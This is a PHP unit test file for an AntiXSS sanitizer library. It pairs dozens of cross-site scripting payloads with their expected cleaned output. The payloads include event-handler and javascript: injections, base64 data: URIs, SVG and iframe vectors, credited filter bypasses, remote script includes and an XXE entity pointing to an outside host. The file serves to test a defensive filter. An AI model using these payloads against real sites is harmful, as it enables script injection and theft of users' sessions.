' foobar DE VAL HERNANDEZ foo bar ' => ' foobar DE VAL HERNANDEZ foo bar ',
'ANAMNESI E VAL.DEFINITE BREVI ORTO' => 'ANAMNESI E VAL.DEFINITE BREVI ORTO',
'ANAMNESI E VAL!DEFINITE BREVI ORTO' => 'ANAMNESI E VAL!DEFINITE BREVI ORTO',
'ANAMNESI E VAL?DEFINITE BREVI ORTO' => 'ANAMNESI E VAL?DEFINITE BREVI ORTO',
'ANAMNESI E VAL DEFINITE BREVI ORTO' => 'ANAMNESI E VAL DEFINITE BREVI ORTO',
'ANAMNESI E VALDEFINITE BREVI ORTO' => 'ANAMNESI E VALDEFINITE BREVI ORTO',
'<styler_tester@gmail.com>' => '<styler_tester@gmail.com>',
'styler_tester@gmail.com' => 'styler_tester@gmail.com',
'<xxxnonstop@gmail.com>' => '<xxxnonstop@gmail.com>',
'<video@gmail.com>' => '<video@gmail.com>',
'<script@gmail.com>' => '<script@gmail.com>',
'xxxnonstop@hotmail.com' => 'xxxnonstop@hotmail.com',
' xxxnonstop@hotmail.com ' => ' xxxnonstop@hotmail.com ',
'cyyhqLRMvBs:APA91bH1ueQlBr8GXbQxNw9SpzldRAeYK4mw-Yqhw44v7oEoRgxyoFAfQc_2A3dc6X_vp3HpmPGh4NAItAAyv9pvoQbJZXUotjX0427y1hG_vCtr34UnEecqAGsXwkevitdHZIp9juRC' => 'cyyhqLRMvBs:APA91bH1ueQlBr8GXbQxNw9SpzldRAeYK4mw-Yqhw44v7oEoRgxyoFAfQc_2A3dc6X_vp3HpmPGh4NAItAAyv9pvoQbJZXUotjX0427y1hG_vCtr34UnEecqAGsXwkevitdHZIp9juRC',
'product/category%bf%27' => 'product/category%bf%27',
'product/category%0b' . "\0" => 'product/category%0b' . "\0",
'foo --> bar' => 'foo --> bar',
'onendsomething' => 'onendsomething',
'something onendtest' => 'something onendtest',
'something onend another thing' => 'something onend another thing',
'something@onendtest' => 'something@onendtest',
'something-onendtest' => 'something-onendtest',
'something,onendtest' => 'something,onendtest',
'something*onendtest' => 'something*onendtest',
'something(onendtest' => 'something(onendtest',
'something)onendtest' => 'something)onendtest',
'something&onendtest' => 'something&onendtest',
'something%onendtest' => 'something%onendtest',
'something\'onendtest' => 'something\'onendtest',
'something"onendtest' => 'something"onendtest',
'something!onendtest' => 'something!onendtest',
'something.onendtest' => 'something.onendtest',
'something#onendtest' => 'something#onendtest',
'something[onendtest' => 'something[onendtest',
'something$onendtest' => 'something$onendtest',
'<a href="https://wiki.product.net/FAQ.Error_during_connect_to_Database_(0)">link</a>' => '<a href="https://wiki.product.net/FAQ.Error_during_connect_to_Database_(0)">link</a>',
'<a href="https://example.com/?onlyEnabled=1">link</a>' => '<a href="https://example.com/?onlyEnabled=1">link</a>',
'<a href="https://example.com/?onlyEnabled=123123foo">link</a>' => '<a href="https://example.com/?onlyEnabled=123123foo">link</a>',
'<2€' => '<2€',
'<=2€' => '<=2€',
'< 2 €' => '< 2 €',
'>2€' => '>2€',
'< 2€' => '< 2€',
'<2 €' => '<2 €',
'<2$' => '<2$',
'<3' => '<3',
'≪2 €' => '≪2 €',
'<35%' => '<35%',
'< 35%' => '< 35%',
'< 1 year' => '< 1 year',
' < 1 year' => ' < 1 year',
'> 1 year' => '> 1 year',
'<p>onend</p>' => '<p>onend</p>',
];
$antiXss->removeEvilAttributes(['style']); // allow style-attributes
foreach ($testArray as $before => $after) {
static::assertSame($after, $antiXss->xss_clean($before), 'testing: ' . $before);
static::assertFalse($antiXss->isXssFound(), 'testing: ' . $before . ' | ' . $after);
}
$antiXss->addEvilAttributes((['style'])); // re-disallow style-attributes
// ---
$antiXssHtml = new AntiXSS();
$antiXssHtml->removeNeverAllowedRegex(['<!--', '<!--$1-->']);
$antiXssHtml->removeEvilHtmlTags(['xml', 'html']);
$antiXssHtml->addDoNotCloseHtmlTags(['xml', 'html', 'o:OfficeDocumentSettings']);
$html = '
<html>
<!-- [if gte mso 9]><xml><o:OfficeDocumentSettings>96</xml><![endif]--> <!-- [if !mso]><!--> <!--<![endif]--> <!-- [if !mso]><!--> <!--<![endif]--><!-- [if IE]><div class="ie-browser"><![endif]-->';
static::assertSame($html, $antiXssHtml->xss_clean($html));
$antiXssHtml->removeDoNotCloseHtmlTags(['xml', 'html', 'o:OfficeDocumentSettings']);
$html = '
<html>
<!-- [if gte mso 9]><xml><o:OfficeDocumentSettings>96</xml><![endif]--> <!-- [if !mso]><!--> <!--<![endif]--> <!-- [if !mso]><!--> <!--<![endif]--><!-- [if IE]><div class="ie-browser"><![endif]-->';
static::assertSame($html, $antiXssHtml->xss_clean($html));
// ---
$antiXssHtml = new AntiXSS();
$html = '
<span>
foo="<span class="bar">baz</span>"
</span>
';
static::assertSame($html, $antiXssHtml->xss_clean($html));
}
public function testArray()
{
$antiXss = new AntiXSS();
$test = ['key1'=>"<script>alert('hax');</script>"];
$antiXss->xss_clean($test);
static::assertSame(true, $antiXss->isXssFound());
$antiXss = new AntiXSS();
$test = ['key1'=>"<script>alert('hax');</script>", 'key2'=>'test'];
$antiXss->xss_clean($test);
static::assertSame(true, $antiXss->isXssFound());
$antiXss = new AntiXSS();
$test = ['key1'=>'test', 'key2'=>"<script>alert('hax');</script>"];
$antiXss->xss_clean($test);
static::assertSame(true, $antiXss->isXssFound());
}
public function testRemoveAddStr()
{
// init
$antiXss = new AntiXSS();
$testArray = [
'<pre><code>
<script>
foo();
</script>
</code></pre>',
];
$antiXss->removeNeverAllowedStrAfterwards(['<script>', '</script>']); // allow
foreach ($testArray as $test) {
static::assertSame($test, $antiXss->xss_clean($test), 'testing: ' . $test);
}
$antiXss->addNeverAllowedStrAfterwards(['<script>', '</script>']); // re-disallow
}
public function testRemoveAddEvents()
{
// init
$antiXss = new AntiXSS();
$testArray = [
'<x 1=">" onxxx=1 onAbort="alert(\'foo\');" (text outside tag)' => '<x 1=">" onxxx=1 onAbort="alert(\'foo\');" (text outside tag)',
];
$antiXss->removeNeverAllowedOnEventsAfterwards(['onAbort']); // allow
foreach ($testArray as $before => $after) {
static::assertSame($after, $antiXss->xss_clean($before), 'testing: ' . $before);
}
$antiXss->addNeverAllowedOnEventsAfterwards(['onAbort']); // re-disallow
// ---
$testArray = [
'<x foo="+ - & ? ! ö ä ? `" 1=">" onxxx=1 onAbort="alert(\'foo\');" (text outside tag)' => '<x foo="+ - & ? ! ö ä ? `" 1=">" onxxx=1 ="alert(\'foo\');" (text outside tag)',
];
foreach ($testArray as $before => $after) {
static::assertSame($after, $antiXss->xss_clean($before), 'testing: ' . $before);
}
}
public function testRemoveAddRegex()
{
// init
$antiXss = new AntiXSS();
$testArray = [
'<!-- <x 1=">" onxxx=1 onAbort="alert(\'foo\');" (text outside tag) -->' => '<!-- <x 1=">" onxxx=1 ="alert(\'foo\');" (text outside tag) -->',
];
$antiXss->removeNeverAllowedRegex(['<!--(.*)-->' => '<!--$1-->']); // allow
foreach ($testArray as $before => $after) {
static::assertSame($after, $antiXss->xss_clean($before), 'testing: ' . $before);
}
$antiXss->addNeverAllowedRegex(['<!--(.*)-->' => '<!--$1-->']); // re-disallow
// ---
$testArray = [
'<!-- <x 1=">" onxxx=1 onAbort="alert(\'foo\');" (text outside tag) -->' => '<!-- <x 1=">" onxxx=1 ="alert(\'foo\');" (text outside tag) -->',
];
foreach ($testArray as $before => $after) {
static::assertSame($after, $antiXss->xss_clean($before), 'testing: ' . $before);
}
}
public function testXssCleanStringWith3bytes()
{
// init
$antiXss = new AntiXSS();
$harmStrings = [
"Hello, i try to <script>alert('Hack');</script> your site" => 'Hello, i try to [removed] your site',
'Simple clean string' => 'Simple clean string',
"Hello, i try to <script>alert('Hack')</script> your site" => 'Hello, i try to [removed] your site',
'<a href="http://test.com?param1="+onMouseOver%3D"alert%281%29%3B&step=2¶m12=A">test</a>' => '<a href="http://test.com?param1=">test</a>',
'<a href="http://test.com?param1="+on💩MouseOver💩%3D"alert%281%29%3B&step=2¶m12=A">test</a>' => '<a href="http://test.com?param1=">test</a>',
'<a href="http://test.com?param1=lall&colon=foo;">test</a>' => '<a href="http://test.com?param1=lall&colon=foo;">test</a>',
'<a href="http://test.com?param1=lall:=foo;">test</a>' => '<a href="http://test.com?param1=lall:=foo;">test</a>',
'<a href="http://test.com?param1=lall&colon+lall;">test</a>' => '<a href="http://test.com?param1=lall&colon+lall;">test</a>',
'<a href="javascript:alert(\'xss\')">xss</a>' => '<a href="[removed](\'xss\')">xss</a>',
'<li style="list-style-image: url(alert(0))">' => '<li [removed]>',
];
$antiXss->setReplacement('[removed]');
$antiXss->setStripe4byteChars(true);
foreach ($harmStrings as $before => $after) {
static::assertSame($after, $antiXss->xss_clean($before), 'testing: ' . $before);
}
// reset
$antiXss->setReplacement('')->setStripe4byteChars(false);
}
public function testXssCleanStringArray()
{
// init
$antiXss = new AntiXSS();
$harmStrings = [
'<input name="product" value="GOM-KC-350+550">' => '<input name="product" value="GOM-KC-350+550">',
'<style type="text/css">html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}</style>' => '<style type="text/css">html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}</style>',
'<meta name="viewport" content="width=device-width, initial-scale=1.0, minimal-ui">' => '<meta name="viewport" content="width=device-width, initial-scale=1.0, minimal-ui">',
'<meta property="og:description" content="Lars Moelleken: Webentwickler & Sysadmin aus Krefeld" />' => '<meta property="og:description" content="Lars Moelleken: Webentwickler & Sysadmin aus Krefeld" />',
'<meta name="viewport" content="width=device-width, initial-scale=1.0, minimal-ui">' => '<meta name="viewport" content="width=device-width, initial-scale=1.0, minimal-ui">',
'<link href="//fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" type="text/css"/>' => '<link href="//fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" type="text/css"/>',
'<script src="//ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>' => '[removed][removed]',
'<!--[if lt IE 9]><script src="http://moelleken.org/vendor/bower/nwmatcher/src/nwmatcher.js"></script><![endif]-->' => '<!--[if lt IE 9]>[removed][removed]<![endif]-->',
"Hello, i try to <script>alert('Hack');</script> your site" => 'Hello, i try to [removed] your site',
'Simple clean string' => 'Simple clean string',
"Hello, i try to <script>alert('Hack')</script> your site" => 'Hello, i try to [removed] your site',
'<a href="http://test.com?param1="+onMouseOver%3D"alert%281%29%3B&step=2¶m12=A">test</a>' => '<a href="http://test.com?param1=">test</a>',
'<a href="http://test.com?param1="+on💩MouseOver💩%3D"alert%281%29%3B&step=2¶m12=A">test💩</a>' => '<a href="http://test.com?param1=">test💩</a>',
'<a href="http://test.com?param1=lall&colon=foo;">test</a>' => '<a href="http://test.com?param1=lall&colon=foo;">test</a>',
'<a href="http://test.com?param1=lall:=foo;">test</a>' => '<a href="http://test.com?param1=lall:=foo;">test</a>',
];
$antiXss->setReplacement('[removed]');
foreach ($harmStrings as $before => $after) {
static::assertSame($after, $antiXss->xss_clean($before), 'testing: ' . $before);
}
// reset
$antiXss->setReplacement('');
}
public function testXssCleanImageValid()
{
$harm_string = '<img src="test.png">';
$xss_clean_return = (new AntiXSS())->xss_clean($harm_string);
static::assertTrue($xss_clean_return === $harm_string);
}
public function testXssCleanImageInvalid()
{
$harm_string = '<img src=javascript:alert(String.fromCharCode(88,83,83))>';
$xss_clean_return = (new AntiXSS())->xss_clean($harm_string);
static::assertFalse($xss_clean_return === $harm_string);
}
public function testXssWithoutStartHtml()
{
$testArray = [
'ads="onClick();" foo="555-666-0606" bar([!+!]) ody="" ></a>' => 'ads="();" foo="555-666-0606" bar([!+!]) ody="" ></a>',
];
$antiXss = new AntiXSS();
foreach ($testArray as $test => $expected) {
static::assertSame($expected, $antiXss->xss_clean($test));
}
}
public function testXssHash()
{
$antiXss = new AntiXSS();
static::assertNull($antiXss->isXssFound());
// init the "_xss_hash"-property
$result = $antiXss->xss_clean('<void class="bar">foo</ onclick = "foobar();" void>');
static::assertSame('<void class="bar">foo</ void>', $result);
static::assertTrue($antiXss->isXssFound());
// ---
$result = $antiXss->xss_clean('<void class="bar">foo</void>');
static::assertSame('<void class="bar">foo</void>', $result);
static::assertFalse($antiXss->isXssFound());
}
public function testXssClean()
{
$harm_string = "Hello, i try to <script>alert('Hack');</script> your site";
$harmless_string = (new AntiXSS())->xss_clean($harm_string);
static::assertSame('Hello, i try to your site', $harmless_string);
// \v (vertical whitespace) isn't working on travis-ci ?
$testArray = [
'<div BACKGROUND="mocha:alert(\'XSS\')">
<!-- image:xss -->
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav	ascript:alert(\'XSS\');">
<img/src=`%00`" . \n . "onerror=this.onerror=confirm(1)>
<img/src=`%00` onerror=this.onerror=confirm(1)
<!-- file:xss -->
<script SRC="http://absynth.de/x.js"></script>
<layer SRC="http://absynth.de/x.js"></layer>
<!-- style:xss -->
<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">
<DIV STYLE="background-image: url(javascript:alert(\'XSS\')">
<div style=background-image:expression(alert(\'XSS\'));">lall</div>
</div>
</div>' => '<div BACKGROUND="(\'XSS\')">
<!-- image:xss -->
<IMG >
& REL="stylesheet" HREF="(\'XSS\');"',
'<img/src=">" onerror=alert(1)>
<button/a=">" autofocus onfocus=alert(1(></button>
<button a=">" autofocus onfocus=alert(1(>' => '<img/>" >
& a=">"', // autofocus trick | https://html5sec.org/#7
'http://vulnerable.info/poc/poc.php?foo=%3Csvg%3E%3Cscript%3E/%3C1/%3Ealert(document.domain)%3C/script%3E%3C/svg%3E' => 'http://vulnerable.info/poc/poc.php?foo=<svg></svg>',
'"><svg><script>/<@/>alert(1337)</script>' => '"><svg>alert(1337)', // Bypassing Chrome’s Anti-XSS Filter | 2015: http://vulnerable.info/bypassing-chromes-anti-xss-filter/
'Location: https://www.google.com%3a443%2fcse%2ftools%2fcreate_onthefly%3b%3c%2ftextarea%3e%3csvg%2fonload%3dalert%28document%2edomain%29%3e%3b%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f' => 'Location: https://www.google.com:443/cse/tools/create_onthefly;</textarea><svg/>;/../../../../../../../../../../../../../../', // Google XSS in IE | 2015: http://blog.bentkowski.info/2015/04/xss-via-host-header-cse.html
'Location: http://example.jp:xyz%27onclick%3D%27a%5Cu006c%5Cu0065%5Cu0072t(1)%27/2.php' => 'Location: http://example.jp:xyz\'=\'alert(1)\'/2.php',
'<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><feImage> <set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg=="/></feImage> </svg>' => '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><feImage> <set attributeName="xlink:href" to="PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg=="/></feImage> </svg>', // SVG-XSS | https://html5sec.org/#95
'<a target="_blank" href="data:text/html;BASE64youdummy,PHNjcmlwdD5hbGVydCh3aW5kb3cub3BlbmVyLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5pbm5lckhUTUwpPC9zY3JpcHQ+">clickme in firefox</a><a/\'\'\' target="_blank" href=data:text/html;;base64,PHNjcmlwdD5hbGVydChvcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUwpPC9zY3JpcHQ+>firefox11</a>' => '<a target="_blank" href="PHNjcmlwdD5hbGVydCh3aW5kb3cub3BlbmVyLmRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5pbm5lckhUTUwpPC9zY3JpcHQ+">clickme in firefox</a><a/\'\'\' target="_blank">firefox11</a>', // data: URI with base64 encoding bypass exploiting Firefox | 2012: https://bugzilla.mozilla.org/show_bug.cgi?id=255107
'http://securitee.tk/files/chrome_xss.php?a=<script>void(\'&b=\');alert(1);</script>' => 'http://securitee.tk/files/chrome_xss.php?a=', // Bypassing Chrome’s Anti-XSS filter | 2012: http://blog.securitee.org/?p=37
'with(document)body.appendChild(createElement(\'iframe onload=alert(1)>\')),body.innerHTML+=\'\'' => 'with(document)body(createElement(\'iframe =alert(1)>\')),body+=\'\'', // IE11 in IE8 docmode #mxss | https://twitter.com/0x6D6172696F/status/626379000181596160
'http://www.nowvideo.sx/share.php?id=foobar&title=\'\';with(document)body.appendChild(createElement(\\\'iframe onload =alert(1)>\\\')),body.innerHTML+=\\\'\\\'//\\\';with(document)body.appendChild(createElement(\\\'iframe onload=alert(1)>\\\')),body.innerHTML+=\\\'\\\'//";with(document)body.appendChild(createElement(\\\'iframe onload=alert(1)>\\\')),body.innerHTML+=\\\'\\\'//\";with(document)body.appendChild(createElement(\\\'iframe onload=alert(1)>\\\')),body.innerHTML+=\\\'\\\'//--></SCRIPT>">\'><SCRIPT>with(document)body.appendChild(createElement(\\\'iframe onload=alert(1)>\\\')),body.innerHTML+=\\\'\\\'</SCRIPT>=&{}' => "http://www.nowvideo.sx/share.php?id=foobar&title='';with(document)body(createElement(\'iframe =alert(1)>\')),body+=\'\'//\';with(document)body(createElement(\'iframe =alert(1)>\')),body+=\'\'//\";with(document)body(createElement(\'iframe =alert(1)>\')),body+=\'\'//\\\";with(document)body(createElement(\'iframe =alert(1)>\')),body+=\'\'//-->\">'>\')),body+=\'\'=&{}",
'<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>' => '<div><embed allowscriptaccess=always src=/xss.swf><base href=//l0.cm/</div>', // 2016 | http://mksben.l0.cm/2016/05/xssauditor-bypass-flash-basetag.html
'<base href="javascript:/a/+alert(1)//">' => '<base href="/a/+alert(1)//">',
'<base href=data:/,alert(1)/>' => '<base href=data:/,alert(1)/>',
'<base href=javascript:/0/><iframe src=,alert(1)></iframe>' => '<base href=/0/><iframe src=,alert(1)></iframe>',
'<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "http://4mr71zbvk10c5vd1k074izfvbmhnxdi7xw.burpcollaborator.net"> ]>' => '<!DOCTYPE foo [<!ENTITY xxe46471 SYSTEM "http://4mr71zbvk10c5vd1k074izfvbmhnxdi7xw.burpcollaborator.net"> ]>', // XXE injection | 2015: http://blog.portswigger.net/2015/05/burp-suite-now-reports-blind-xxe.html
"<iframe name=alert(1) src=\"//somedomain?x=',__defineSetter__('x',eval),x=name,'\"></iframe>" => '<iframe name=alert(1) src="//somedomain?x=\',__defineSetter__(\'x\',eval),x=name,\'"></iframe>',
"<script>x = '',__defineSetter__('x',alert),x=1,'';</script>" => '', // NoScript XSS filter bypass | 2015: http://blog.portswigger.net/2015/07/noscript-xss-filter-bypass.html
'"><a href="JAVASCRIPT:%E2%80%A8alert`1`">CLICKME 😃' => '"><a href="">CLICKME 😃', // NoScript XSS filter bypass | 2015: https://twitter.com/0x6D6172696F/status/623081477002014720?s=02
'<div id="b" style="font-family:a/**/ression(alert(1))(\'\\\')exp\\\')">aa</div>' => '<div id="b" >aa</div>', // IE | 2014: http://wooyun.org/bugs/wooyun-2014-068564
'<a href="jar:http://SEVER/flash3.bin!/flash3.swf">xss</a>' => '<a href="//SEVER/flash3.bin!/flash3.swf">xss</a>', // Firefox | 2007: https://bugzilla.mozilla.org/show_bug.cgi?id=369814
'<li><a href="?bypass=%3Clink%20rel=%22import%22%20href=%22?bypass=%3Cscript%3Ealert(document.domain)%3C/script%3E%22%3E">Now click to execute arbitrary JS</a></li>' => '<li><a href="?bypass=<link rel=" href="?bypass=">Now click to execute arbitrary JS</a></li>', // Chrome 33 | 2015: view-source:https://html5sec.org/test/bypass
'<scr<script>ipt>alert(1)</sc<script>ri<script>pt>' => '<scralert(1)</scpt>', // 2015: https://frederic-hemberger.de/talks/froscon-xss/#/17
'<svg </onload ="1> (_=alert,_(1337)) "">' => '<svg </">',
'<svg><script>/<@/>alert(1)</script>' => '<svg>alert(1)',
'<svg/onload=alert`xss`>' => '<svg/>', // FF34+, Edge | 2015 | https://www.davidsopas.com/win-50-amazon-gift-card-with-a-xss-challenge/
'<script/src=//⑭.₨>' => '', // Edge | 2016 | https://twitter.com/0x6D6172696F/status/784356959063535616
'<p/onclick=alert(/xss/)>a' => '<p/>a',
'<iframe/src=//14.rs>' => '<iframe/src=//14.rs>',
'<iframe src="https:http://example.com ">' => '<iframe src="https:http://example.com ">',
'<p/oncut=alert`xss`>x' => '<p/>x',
'<svg/onload=alert(/XSS/)>' => '<svg/>', // FF40 | 2015 | https://www.davidsopas.com/win-50-amazon-gift-card-with-a-xss-challenge/
'<http://onclick%3d1/alert%601%60//' => '<http://', // 2015 | https://twitter.com/brutelogic/status/673098162635202560
'<a href="data: , < 
 script > alert(1) < /script > ">CLICK' => '<a href="">CLICK', // FF45 | 2016 | https://twitter.com/0x6D6172696F/status/716364272889176064
'http://www.wolframalpha.com/input/?i=1&n=%22%3E%3Cscript%20src=//3237054390/1%3E' => 'http://www.wolframalpha.com/input/?i=1&n=">', // 2015 | https://twitter.com/brutelogic/status/671740844450426880
'<svg onload=1?alert(9):0>' => '<svg >', // 2015 | https://twitter.com/brutelogic/status/669852435209416704
'<style>@KeyFrames x{</style><div style=animation-name:x onanimationstart=alert(1)> <' => '<style>@KeyFrames x{</style><div > <', // Chrome | 2016 | https://twitter.com/0x6D6172696F/status/669183179165720576
'<style>:target{zoom:2;transition:1s}</style><div id=x ontransitionend=alert(1)>' => '<style>:target{zoom:2;transition:1s}</style><div id=x >', // https://twitter.com/cgvwzq/status/684316889221337088
'<brute contenteditable onblur=alert(1)>lose focus!<brute onclick=alert(1)>click this!<brute oncopy=alert(1)>copy this!<brute oncontextmenu=alert(1)>right click this!<brute oncut=alert(1)>copy this!<brute ondblclick=alert(1)>double click this!<brute ondrag=alert(1)>drag this!<brute contenteditable onfocus=alert(1)>focus this!<brute contenteditable oninput=alert(1)>input here!<brute contenteditable onkeydown=alert(1)>press any key!<brute contenteditable onkeypress=alert(1)>press any key!<brute contenteditable onkeyup=alert(1)>press any key!<brute onmousedown=alert(1)>click this!<brute onmousemove=alert(1)>hover this!<brute onmouseout=alert(1)>hover this!<brute onmouseover=alert(1)>hover this!<brute onmouseup=alert(1)>click this!<brute contenteditable onpaste=alert(1)>paste here!<brute style=font-size:500px onmouseover=alert(1)>0000' => '<brute contenteditable >lose focus!<brute >click this!<brute >copy this!<brute >right click this!<brute >copy this!<brute >double click this!<brute >drag this!<brute contenteditable >focus this!<brute contenteditable >input here!<brute contenteditable >press any key!<brute contenteditable >press any key!<brute contenteditable >press any key!<brute >click this!<brute >hover this!<brute >hover this!<brute >hover this!<brute >click this!<brute contenteditable >paste here!<brute >0000', // 2015 | http://brutelogic.com.br/blog/agnostic-event-handlers/
'<x contextmenu=">"><acronym%0Cx=""%09oncut+=%09d=document;a=d.createElement("a");a.href="img/hacked1.jpg";a.download="open.me";d.body.appendChild(a);a.click()+><option><input type=submit>' => '<x contextmenu=">"><acronymx=""%09+=%09d=document;a=d.createElement("a");a.href="img/hacked1.jpg";a.download="open.me";d.body(a);a.click()+><option><input type=submit>', // http://brutelogic.com.br/webgun/
'<h1/onclick=alert(1)>a' => '<h1/>a',
'")}alert(/XSS/);{//' => '")}alert(/XSS/);{//',
'<svg onload=alert(1)>' => '<svg >', // 2015: https://twitter.com/ret2libc/status/635923671681507328
"<style onload='execScript(/**/\"\x61lert( 1)\",\"j\x61vascript\");'>" => '<style >', // IE | 2015: https://twitter.com/soaj1664ashar/status/635040931289370624
'<script>alert `1`</script>' => '',
'<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>' => '<form id="test"></form><button >X</button>',
'<input onfocus=write(1) autofocus>' => '<input autofocus>',
'<input onblur=write(1) autofocus><input autofocus>' => '<input autofocus><input autofocus>',
'<video poster=javascript:alert(1)//></video>' => '<video //></video>',
'<Video> <source onerror = "javascript: alert (XSS)">' => '<Video> < >',
'<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>' => '<body ><br><br><br><br><br><br>...<br><br><br><br><input autofocus>',
'<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>' => '<form id=test ><input></form><button >X</button>',
'<video><source onerror="alert(1)">' => '<video>< >',
'<video onerror="alert(1)"><source></source></video>' => '<video ><source></source></video>',
'<form><button formaction="javascript:alert(1)">X</button>' => '<form><button >X</button>',
'<body oninput=alert(1)><input autofocus>' => '<body ><input autofocus>',
'<math href="javascript:alert(1)">CLICKME</math>' => '<math href="(1)">CLICKME</math>',
'<math> <!-- up to FF 13 --> <maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction> <!-- FF 14+ --> <maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction> </math>' => '<math> <!-- up to FF 13 --> <maction actiontype="statusline#http://google.com" >CLICKME</maction> <!-- FF 14+ --> <maction actiontype="statusline" >CLICKME<mtext>http://http://google.com</mtext></maction> </math>',
'<img[a][b]src=x[d]onerror[c]=[e]"alert(1)">' => '< img[a][b]src=x[d][c]=[e]"alert(1)">',
'<a href="[a]java[b]script[c]:alert(1)">XXX</a>' => '<a href="">XXX</a>',
'<form action="" method="post"> <input name="username" value="admin" /> <input name="password" type="password" value="secret" /> <input name="injected" value="injected" dirname="password" /> <input type="submit"> </form>' => '<form action="" method="post"> <input name="username" value="admin" /> <input name="password" type="password" value="secret" /> <input name="injected" value="injected" dirname="password" /> <input type="submit"> </form>',
'<link rel="import" href="test.svg" />' => '<link rel="import" href="test.svg" />',
'<iframe srcdoc="<img src=x:x onerror=alert(1)>" />' => '<iframe srcdoc="<img >" />',
'<picture><source srcset="x"><img onerror="alert(1)"></picture>' => '<picture><source srcset="x"><img ></picture>',
'<picture><img srcset="x" onerror="alert(1)"></picture>' => '<picture><img srcset="x" ></picture>',
'<img srcset=",,,,,x" onerror="alert(1)">' => '<img srcset=",,,,,x" >',
'<table background="javascript:alert(1)"></table>' => '<table background="(1)"></table>',
'<comment><img src="</comment><img src=x onerror=alert(1)//">' => '<comment><img ><img ">',
'<![><img src="]><img src=x onerror=alert(1)//">' => '<![><img ><img ">', // up to Opera 11.52, FF 3.6.28
'<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>' => '<svg><![CDATA[><image ></svg>', // IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+
'<img src onerror /" \'"= alt=alert(1)//">' => '<img >',
'?x=<img+src=x+onerror=`ö`-alert(1)>' => '?x=<img+>', // Chrome 2016/07
'<audio src=data:;base64,//MUxHNtYWxsZXN0LW1wMy1ieS1AcWFi//MUxCc+Ij4vPlw+PHN2Zy9vbmxvYWQ9//MUxGFsZXJ0KCdAcWFiJyk7cWFiYW5k//MUxA oncanplay=XSS' => '<audio ',
'<meta http-equiv=x-ua-compatible content=ie=8>1<comment onresize=alert(1) contenteditable>1' => '<meta http-equiv=x-ua-compatible content=ie=8>1<comment contenteditable>1', // IE11
'<?xml version="1.0" encoding="utf-8" ?><x:script
xmlns:x="http://www.w3.org/1999/xhtml ">alert(1)' => '<?xml version="1.0" encoding="utf-8" ?><x:script
xmlns:x="http://www.w3.org/1999/xhtml ">alert(1)', // IE11
'<%/%=%><p/onresize=alert(1)//>' => '<%/%=%><p/>',
'<style><img src="</style><img src=x onerror=alert(1)//">' => '<style><img src="</style><img ">',
'<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>' => '<head><base href="//"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>',
'<SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>' => 'alert(1)',
'<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>' => '<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="(1)"></OBJECT>',
'<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>' => '<object data="PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>',
'<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>' => '<embed src="PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>',
'<b <script>alert(1)//</script>0</script></b>' => '<b 0</b>',
'<// style=x:expression\28write(1)\29>' => '<// >', // IE7
'<style>*{x:expression(write(1))}</style>' => '<style>*{x:expression(write(1))}</style>', // IE6
'<div style="background:url(test5.svg)">PRESS ENTER</div>' => '<div >PRESS ENTER</div>', // Up to Opera 12.x
'<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>' => '<?xml-stylesheet type="text/css"?><root />', // IE7
'<?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>' => '<?xml-stylesheet type="text/css" href="data:,*{x:write(2));}"?>', // IE8 -> IE10
'<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(1)//#x"/>' => '<x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="(1)//#x"/>',
